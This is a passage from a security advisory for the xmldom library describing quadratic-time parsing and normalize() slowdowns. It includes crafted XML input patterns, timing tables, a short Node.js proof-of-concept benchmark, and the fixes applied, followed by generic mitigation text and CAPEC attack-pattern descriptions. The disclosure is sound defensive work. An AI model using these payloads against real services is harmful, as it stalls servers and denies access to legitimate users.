+ \"a\u003c\u003e\"\u00d7N + \"\u003c/r\u003e\"`, time attributable to `normalize()`):\n\n| K (N) | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 12007 | 120 ms | 165 ms |\n| 8000 | 24007 | 589 ms | 771 ms |\n| 16000 | 48007 | 3142 ms | 4448 ms |\n| 32000 | 96007 | 12127 ms | 12951 ms |\n\nCombined (default parser, both findings; `\"\u003cr\u003e\" + \"a\u003c\"\u00d7N + \"\u003c/r\u003e\"`):\n\n| N | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 8007 | 341 ms | 397 ms |\n| 8000 | 16007 | 1894 ms | 1641 ms |\n| 16000 | 32007 | 4398 ms | 7661 ms |\n\n~32 KB of input \u2192 several seconds of single-threaded event-loop stall.\n\n### Finding B via the public `normalize()` API (no parser)\n\n```js\nconst { DOMImplementation } = require(\u0027@xmldom/xmldom\u0027);\n\nfunction timeNormalize(K) {\n const doc = new DOMImplementation().createDocument(null, \u0027r\u0027, null);\n const el = doc.documentElement;\n for (let i = 0; i \u003c K; i++) el.appendChild(doc.createTextNode(\u0027x\u0027)); // K adjacent text nodes\n const t0 = process.hrtime.bigint();\n doc.normalize(); // O(K^2) merge \u2014 no parsing involved\n const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n console.log(\u0027K=\u0027 + K + \u0027 time=\u0027 + ms.toFixed(1) + \u0027 ms\u0027);\n}\nfor (const K of [2000, 4000, 8000, 16000, 32000]) timeNormalize(K);\n```\n\nMeasured on Node v18.20.8 (doubling K ~quadruples the time \u2014 O(K\u00b2)):\n\n| K | 0.9.10 | 0.8.13 |\n|--:|--:|--:|\n| 2000 | 5.7 ms | 5.6 ms |\n| 32000 | 1263 ms | 1704 ms |\n\nThis path is reachable by any application that builds a DOM from attacker-influenced data and calls\n`normalize()`, entirely independent of `DOMParser`.\n\n## Impact\n\nAvailability only: a single parse of a small crafted document blocks the Node.js event loop for the\nduration of the quadratic work (multiple seconds at tens of KB; larger inputs scale as O(n\u00b2)). No\nmemory blow-up beyond transient strings, no data exposure, no integrity impact. Because XML is\nroutinely accepted from untrusted sources and parsed with default options, one request can stall a\nserver. The payloads are highly compressible, so any endpoint accepting compressed XML faces\nadditional amplification. Finding B is additionally reachable via an explicit `normalize()` call on a\nprogrammatically built DOM (see Proof of Concept), so applications that construct a document from attacker-influenced\ndata and normalize it are exposed even without parsing.\n\n## Severity note\n\nThe complexity is **quadratic**, not exponential, so a multi-second stall requires\ntens-to-hundreds of KB of input. `VA:H` reflects that xmldom applies **no** input-size limit and the\npath runs on default-options parsing, so a single unbounded parse can fully stall the event loop.\n\n## Fix Applied\n\nTwo independent, non-breaking fixes shipped together \u2014 each alone leaves the other\u0027s quadratic cost dominating the default parse.\nFinding A \u2014 terminate the malformed tag-name scan at an embedded `\u003c`, so error recovery is linear instead of O(n\u00b2). DOM output is unchanged; only the reported error-message text differs (error strings are not a semver contract).\nFinding B \u2014 merge adjacent text nodes in `normalize()` in O(K) instead of O(K\u00b2), which also closes the same slowdown reachable programmatically through a direct `normalize()` call. Both ship on both maintained versions.",
"id": "GHSA-93r5-fhx6-vmg9",
"modified": "2026-09-08T21:00:41Z",
"published": "2026-09-08T21:00:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-93r5-fhx6-vmg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83614"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/pull/1071"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/pull/1072"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/commit/0748720b620555f8c222782dcab575cf0cf403b4"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/commit/f40ccb861eee0acbf5ee4feb9a34932e87b329c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/xmldom/xmldom"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "xmldom: Quadratic-time parsing via the malformed-input recovery path \u2014 `parseElementStartPart` re-scan and `normalize()` adjacent-text merge"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.